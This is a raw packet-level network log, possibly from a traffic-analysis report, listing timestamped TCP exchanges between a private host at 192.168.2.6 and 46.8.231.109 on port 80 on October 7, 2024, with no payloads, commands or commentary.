Oct 7, 2024 18:00:27.565171957 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565181971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565191031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565201998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565211058 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565242052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565396070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565406084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565414906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565423965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565433979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565439939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565443993 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565453053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565458059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565463066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565471888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565474987 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565483093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565500021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565529108 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565596104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565607071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565632105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565659046 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.643070936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.643081903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.643090963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.643184900 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.643213987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.643224955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.643234968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.643245935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.643266916 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.643275976 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.643309116 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.645355940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.645365000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.645374060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.645390987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.645400047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.645410061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.645418882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.645421982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.645443916 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.645467997 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.645540953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.645591021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646136999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646190882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646193027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646203995 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646236897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646401882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646413088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646423101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646434069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646445990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646455050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646476030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646514893 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646522045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646532059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646542072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646550894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646562099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646569014 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646572113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646600008 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646631002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646653891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646665096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646675110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646680117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646689892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646708965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646743059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646744013 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646744013 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646795034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646806955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646816969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646827936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646836996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646846056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646847010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.646859884 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.646882057 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647072077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647089005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647099972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647113085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647119999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647124052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647134066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647144079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647145987 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647154093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647164106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647172928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647176027 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647185087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647186995 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647192955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647213936 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647253036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647418022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647428989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647444010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647454977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647461891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647464037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647475958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647488117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647489071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647511005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647519112 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647524118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647530079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647531986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647535086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647572041 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647586107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647880077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647891998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647905111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.647936106 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.647990942 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648008108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648019075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648029089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648037910 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648047924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648056030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648056984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648067951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648087025 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648114920 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648477077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648528099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648597002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648607016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648622990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648636103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648643970 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648660898 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648663044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648678064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648689985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648720980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648736000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648746967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648756027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648766041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648775101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648780107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648783922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648794889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648806095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648818016 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648864985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648889065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648901939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648911953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648921013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648937941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648952961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648956060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.648962975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648977041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.648983002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649008036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649017096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649025917 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649028063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649038076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649043083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649074078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649074078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649084091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649094105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649101019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649104118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649115086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649125099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649126053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649141073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649172068 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649312973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649354935 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649430990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649441004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649451017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649461985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649470091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649472952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649480104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649490118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649491072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649502039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649522066 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649533987 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649691105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649702072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649713039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649723053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.649741888 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.649755955 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.726929903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.726943970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.726954937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.727060080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.727067947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.727080107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.727101088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.727112055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.727116108 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.727148056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.728967905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.728981018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.728987932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.729054928 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.729084015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.729094028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.729125023 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.729127884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.729139090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.729154110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.729166031 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.729187965 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.729916096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.729927063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.729937077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.729945898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.729957104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.729965925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.729975939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.729976892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.729994059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730003119 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.730046034 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.730060101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730070114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730078936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730118036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.730129004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.730173111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730184078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730194092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730214119 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.730251074 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.730264902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730274916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730283976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730293989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730304003 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.730304956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730315924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730334044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.730361938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.730501890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730511904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730523109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730530024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730544090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.730573893 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.730658054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730668068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730676889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730685949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.730710983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.730739117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731029034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731040001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731049061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731057882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731067896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731077909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731082916 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731089115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731098890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731108904 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731108904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731121063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731121063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731148958 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731162071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731170893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731179953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731179953 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731189966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731201887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731205940 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731210947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731231928 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731249094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731300116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731342077 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731482983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731515884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731525898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731528044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731554031 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731564999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731699944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731709957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731720924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731731892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731743097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731754065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731754065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731785059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.731789112 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.731826067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.732110023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732120037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732136011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732146025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732155085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732162952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.732163906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732175112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732189894 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.732215881 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732220888 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.732253075 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.732377052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732388020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732397079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732429981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.732454062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.732901096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.732913017 CEST	80	49718	46.8.231.109	192.168.2.6
